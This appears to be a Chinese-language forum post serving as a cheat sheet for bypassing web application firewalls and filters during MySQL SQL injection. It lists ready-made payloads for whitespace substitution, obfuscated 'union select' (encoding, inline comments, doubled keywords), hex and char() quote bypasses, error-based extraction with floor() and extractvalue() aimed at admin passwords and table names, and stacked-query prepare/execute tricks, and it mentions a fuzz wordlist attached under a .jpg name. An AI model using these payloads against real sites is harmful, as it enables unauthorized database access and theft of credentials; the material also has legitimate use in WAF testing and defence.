一、空格绕过:
(1)/**/代替空格
(2)+号代替空格,尤其出现在wts拦截上。
(3)%09 tab键 或者 %0a 换行符
(4)使用空白字符:
%00
%01
%02
%03
%04
%05
%06
%07
%0b
%0c
%0e
%0f
%10
%11
%12
%13
%14
%15
%16
%17
%18
%19
%1a
%1b
%1c
%1d
%1e
%1f
(5)使用浮点数:
select * from users where id=8E0union select 1,2,3
(6)括号绕过空格:
Mysql可以如此使用:作为子查询:()
括号不能单纯得把关键词给括起来,会报错。可以括1=1,user(),或者子查询。
如:
and(1=1)union select(user()),1,2,3 -- qwe
(7)有时使用#号来做空格。别让谷歌浏览器转义成%23(看情况)
二、 union select的绕过:(大小写绕过是必然要会的,不作赘述)
(1)使用url编码绕过:(https://www.w3school.com.cn/tags/html_ref_urlencode.html)
如:
%55nion(%53elect 1,2,3)
%75%6e%6f%69%6e+%61%6c%6c+%73%65%6c%65%63%74 union all select
(2)拆分union select
如:
union distinct :同union
union all :用于合并两个或多个 SELECT 语句的结果集,保留表中重复行。
又如:
+un/**/ion+se/**/lect+
uni%0bon+se%0blect+
(3)内联注释:
如:
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
%2f**%2funion%2f**%2fselect
(4)倒序函数:
REVERSE(noinu)+REVERSE(tceles)
(5)要是注意到了会删除关键字,那么双写关键字
如:
UNIunionONSeLselectECT1,2,3 -- asd
三、引号绕过:
(1)要是开了引号过滤或者开了魔术引号,那where后面的语句带引号都不生效了,那直接把引号里面的字符串转化成16进制。
如:
where table_name="users" where table_name=0x7573657273
(2)用char()函数绕过。(和16进制用法一样。)
如:
where username = 'def'
where username = char(100,101,102)
四、逻辑运算符绕过:
(1)and:
用&&来代替 或者 %26%26
(2)or:
用 || 来代替 或者 %7c%7c
(3)=:首先可以考虑URL编码的=:%3d /!%3d/
1.between …… and ……
2.in :in(1,2,3)
3.like:1 like 1
4.REGEXP:正则匹配函数:
如:select 1,2,pwd from ceshi where username REGEXP ‘admin’
select 1,2,user from ceshi where id REGEXP 2 --> 数字类型不用引号
五、代替逗号:
union select 1,2,3 => union select * from (select 1)a join (select 2)b join (select 3)c
六、特殊函数代替:
如果可以加入特殊字符来绕过最好:如concat/**/()
(1)sleep() --> BENCHMARK(100000,SHA1(‘1’)), 1
(2)floor() --> mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
其他报错函数:
updatexml()
Extractvalue() --> and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
Exp()
Name_const
geometrycollection()
multipoint()
Polygon()
multipolygon()
linestring()
multilinestring()
(3)代替ascii
Hex()
Bin()
Ord()
七、select锁死的终极绕过:前提是存在堆叠注入并且完成以下步骤(条件比较苛刻):
1.set @a=concat(‘sel’,’ect’,’ group_con’,’cat(table_n’,’name) ’,’fro’,’m ’,’infor’,’mation_sc’,’hema.tabl’,’es’,’ whe’,’re tabl’,’e_’,’sche’,’ma=datab’,’ase()’)
2. prepare dump from @a;
3. execute dump;
4. deallocate prepare dump; (释放dump变量)
fuzz测试文本在附件哦,把jpg后缀改成txt就行~~我是弟弟,若有不足请大佬指正补充。
fuzz.txt
参考文章:
https://www.cnblogs.com/Vinson404/p/7253255.html
https://bbs.zkaq.cn/t/4739.html
https://www.cnblogs.com/fengli9998/p/7147211.html